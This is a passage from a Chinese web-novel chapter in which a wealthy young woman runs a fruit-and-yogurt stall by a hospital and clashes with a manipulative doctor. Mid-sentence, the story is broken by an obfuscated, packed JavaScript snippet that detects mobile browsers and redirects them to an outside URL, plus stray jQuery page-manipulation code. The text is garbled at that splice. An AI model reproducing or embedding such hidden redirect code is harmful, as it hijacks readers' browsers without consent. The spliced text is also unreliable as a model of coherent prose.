江映山在和容昭野对峙,没有接收到护士的求助信号。
白雪蘅烦得要死,这两个男人她都不想搭理,直接从另一边下床出门。
许秘书寸步不离地跟着她。
白雪蘅一口气跑到住院部楼下花园,坐在长椅上,惆怅地搓了搓脸。
许秘书温声劝道:“白小姐,您跟容总……有什么误会,说开了就好。”
容昭野对她的重视和宠爱,没人比许秘书更清楚了。
毕竟他工作的这几年,与其说是给容昭野打工,更像是在帮容昭野给白雪蘅买各种礼物,转账,安排出行,处理琐事。
白雪蘅喃喃着:“……你说我想自力更生,挣属于自己的钱,怎么就那么难?”
许秘书无法理解。
在这个卷生卷死的时代,她账户里躺着下下下下下辈子都花不完的余额,竟然还在琢磨着自己出去吃苦打工。
不过她想要实现自我价值,总归是让许秘书高看一眼的。
“白小姐,人脉和助力,也是自身实力的一部分。”
“那不作数啊!”
她刚才想去外地发展,可是江映山的存在和威胁,又使她不敢离开容昭野的庇护范围。
白雪蘅烦躁地抓了抓头发。
许秘书安慰她:“您有学识,有才华,也有退路,想做什么都可以的。”
白雪蘅有些呆滞地看着拎着饭盒来看望病人的路人:“我饿了,你能帮我买点吃的吗?”
许秘书连忙答应:“没问题,我这就叫厨房那边做好了送过来,很快。”
容昭野给白雪蘅聘了三十个厨子,分别擅长各式菜系,各国风味,二十四小时随时待命。
白雪蘅摇头:“去医院门口随便买点就行。”
吃路边摊也不是没有过,年轻人就爱这些,许秘书小跑着去了。
回来的时候十个手指勾满了各种小吃。
白雪蘅看着在长椅上摊开的快餐盒,有炒面,麻辣烫,炸鸡叉骨,榴莲芝士饼……甚至还有两串糖葫芦。
她咬了一口鸡叉骨,啃了一块榴莲芝士饼。
刺激的味道在嘴巴里横冲直撞,恍惚间回到了在小县城读高中的学生时光。
她在那座被山围住的小县城里长了十八年,没有出过省,没有坐过飞机,不知道栗子蛋糕可以加金箔,不知道一块西瓜可以在大溪地卖到五百。
鸡叉骨是校门口三轮车摊子上的,六块钱一份,送一小袋辣椒面。
榴莲芝士饼是后来才流行起来的,二十八块钱一个,她要攒好几天的早饭钱才舍得买。
晚自习下课,她和同桌一人捧着一个纸袋,蹲在路灯底下啃,手指头油乎乎的,往校服裤子上蹭。
那时候她以为,人生最痛苦的事情是留在这个小县城吃一辈子鸡叉骨。
于是她拼命背书,背到天亮,背到喉咙发干,背到闭上眼睛脑子里全是字。
她把历史课本从头到尾抄了三遍,把政治答题模板做成小卡片塞在枕头底下,每天睡前背一遍。
她想考出去。
考到省城,考到北京,考到连卫生间都充斥着大牌香水的馥郁的地方。
沉浸在回忆里,她把鸡叉骨吃了不少,榴莲芝士饼还剩半个,凉了,吃起来有点腻。
白雪蘅把纸袋捏成一团,扔进垃圾桶里。
许秘书熬了一夜,也饿得不轻,端着一份炒面大快朵颐。
白雪蘅拧开一瓶水,递给他:“等会儿还需要你帮我个忙。”
许秘书接过水,笑道:“职责所在。”
白雪蘅微笑:“帮我把那个鸡叉骨小摊买下来,我要卖鸡叉骨。”
许秘书刚刚“咕嘟咕嘟”灌了两口,闻言全部喷了出去。
许秘书何许人也。
出身寒微,凭一己之力从二本院校保研到顶级名校的逆袭选手,在短短五年内做到容昭野最顺手的贴身秘书,他的情商是比做题能力更突出的优秀。
不多时,许秘书就带着白雪蘅去看了他的工作成果——
一辆崭新又整洁的三轮餐车。
上面摆满了各式水果和甜点小料,车载冰柜里还放着两大桶酸奶。
“白小姐,卖鸡叉骨还是太危险了,油温过高易烫伤,油烟对您的皮肤也不好,您要是想创业,做酸奶水果捞更容易上手。”
白雪蘅看着琳琅满目的小料,感慨着许秘书的周到。
许秘书又贴心地领来一位大姐:“这是原摊主,愿意教学培训,您有不懂的问她就好。”
白雪蘅忍不住夸他:“许大哥,还真是没有你想不到的。”
许秘书“嘿嘿”一笑。
这位摊主大姐三十来岁,温柔干净又能干,她的摊位所在位置不在美食街的中心,却很巧妙地挨着热卤摊和炒面摊,买了卤菜和炒面的顾客,几乎都会顺手带一份酸奶水果捞解解腻,所以生意不断。
白雪蘅刚刚站定,就来了一对年轻情侣。
女孩子熟练地点着爱吃的配料,白雪蘅手忙脚乱地拿着勺子往碗里盛。
她第一次做,掌握不好量,几乎每种配料都加了满满一大勺,以至于要用三个碗才装得下。
那女孩接过三碗水果捞,有些目瞪口呆。
负责扫码付款的男孩看到白雪蘅的正脸,也有些目瞪口呆。
白雪蘅歉意地笑笑:“刚开始做,不太熟练。”
二人走了,男孩频频回头,不时在手机上回着消息。
趁着没人,摊主大姐给白雪蘅演示了一些细节和技巧,白雪蘅学得很快,做了一碗完美的水果捞,端给了许秘书。
“许大哥,这碗给你,你辛苦了。”
许秘书受宠若惊。
他捧着水果捞,另一只手掏出手机要扫码付款。
白雪蘅连忙阻止他:“送你的,你怎么跟我还这么见外?”
话说完,白雪蘅突然想起来,这是谁的收款码?
许秘书早就想到了,他解释道:“已经换上了您的收款码,您看一眼手机,刚才那两个客户付的钱应该已经过去了。”
白雪蘅的手机静音了,她掏出手机解锁,果然看到提示信息,到账十五元。
她越看越喜欢,这种踏实挣钱的感觉真是好。
忍不住截图,配上小摊照片发了个朋友圈:“顾客吃得开心,小蘅挣得踏实。”
正巧有一对母女来买水果捞,手机的聊天界面有许多未读消息,白雪蘅看都没看,直接退了微信。
小女孩盯着她瞧了又瞧,对妈妈说:“漂亮姐姐真好看,我长大了也要长这样。”
白雪蘅多给她放了几颗草莓,哄的小女孩甜蜜蜜地说:“漂亮姐姐你真好。”
白雪蘅忍不住笑,觉得做小摊挺好的,站着开开心心就把钱挣了。
只是她的开心只维持了一小会儿。
有个护士从医院里跑过来,说要五十份酸奶水果捞,全部不放火龙果和芒果,也不许放草莓蓝莓,要多放苹果,但又不能只放苹果。
白雪蘅看了看摊上的水果种类,不得已地又使唤起了许秘书:“许大哥,帮我买点水果吧,剩的这些怕是不够……”
许秘书已经吃完了他的那份,闻言站起来打了个电话。
不多时,琳琅满目的水果就成箱地被送了过来。
白雪蘅忙着切百香果,处理红毛丹,洗甜瓜……脚打后脑勺,没有注意到小摊周围逐渐围满了年轻男孩。
他们不点单,只是拿着手机将白雪蘅团团围住,许秘书皱眉看了一眼,发现他们在直播。
许秘书开口赶人:“你们干什么呢?拍别人经过同意了吗?”
男生们丝毫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546118|204156||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不怯:“她巴不得被拍了上热搜吧?”
这话说完,引起哄笑。
许秘书正要叫保镖过来把人赶走,顺带让法务把这些人都告掉,白雪蘅突然喊他:“许大哥,快帮我洗一下黑加仑。”
许秘书只好先去帮忙。
白雪蘅做事很利索,不过四十分钟,就准备好了五十份,找隔壁小摊借了推车,推着去了病房楼。
上到指定楼层,白雪蘅一眼就看到刚才来点单的护士正在护士站忙着。
她很有礼貌地等护士忙完一阵,才上前询问:“您好,您要的五十份酸奶水果捞到了。”
那位护士很惊喜:“啊!这么快就好啦。”
几个不忙的护士都凑了过来,帮忙从推车上面把水果捞拿下来。
白雪蘅点好了五十份,问她:“请问结账找谁?”
护士指了指医生办公室:“你找一位江医生,他给我们定的。”
白雪蘅愣在原地。
他爹的,不会这么倒霉吧?
护士看她不动,以为她担心要不到账,安慰道:“你放心,江医生很大方也很守信,不会不给钱的。”
和江医生打交道,钱从来不是重点。
命才是啊。
白雪蘅硬着头皮去了医生办公室,也许是都有手术,办公室里只有一个年轻医生的背影在电脑前忙碌。
听到脚步声,江映山回头。
白雪蘅错开眼神,不和他对视。
“请把水果捞的钱结了。”
江映山长腿一伸,手里捏着一支笔,坐在椅子上转过身:“多少钱?”
白雪蘅盯着窗外的马路:“十五元一份,一共五十份,七百五十块。”
江映山拿着勺子拨拉了两下他桌子上的那份酸奶水果捞,语气悠长:“静冈蜜瓜,妮娜皇后葡萄,世界一号苹果……你这一碗的成本就要好几百,只卖十五?”
白雪蘅没想到许秘书call来的水果都这么贵,但她不想和江映山废话:“要你多嘴。”
江映山轻笑,掏出手机:“收款码。”
白雪蘅点出二维码,举着手机,侧着头,在距离江映山两米处站定:“扫吧。”
江映山摇摇头:“无法识别。”
白雪蘅往前走了二十厘米:“再试试。”
江映山还是摇头:“还是不行。”
白雪蘅咬了咬唇,劝自己,这是为了收钱,扫上了就立刻离开。这才勉强让自己的腿往前挪了一米。
江映山把她的厌恶和抗拒都看在眼里,刘海下的双眸晦暗不明,他听着门外的谈话声,长腿一勾,把白雪蘅绊倒,失去平衡的白雪蘅狠狠摔在他的怀里。
办公室的门被推开,一大串医生进来时看到的就是这一幕。
纤长美丽的女孩扑在江映山的怀里,像一只被猎枪惊摔的鹤,江映山的手掌悬在她后背,暧昧至极。
众人纷纷打趣:
“江医生把女朋友带来啦!”
“也不能这样刺激我们还单身的啊!”
“哎呀哎呀快来扶我一把,我被甜晕了!”
江映山不发一语。
摔懵了的白雪蘅捂着额头直起身子,正好撞进江映山幽潭般的眼眸。
“你有病啊?!”
江映山没有温度的微笑:“我说过了,对我有钟情妄想的是你,现在又投怀送抱。”
他的眼神穿过白雪蘅,看向门口:“我不堪其扰啊。”
白雪蘅下意识地也回头望过去,只见容昭野不知何时已经站在门口,将二人的亲密动作尽收眼底。
江映山晃了晃手机:“一份二百,五十份一万,转过去了。”
白雪蘅这才回想起来,他有她的微信!
这个贱人,刚才说扫不到收款码,完完全全就是骗她靠近的谎言!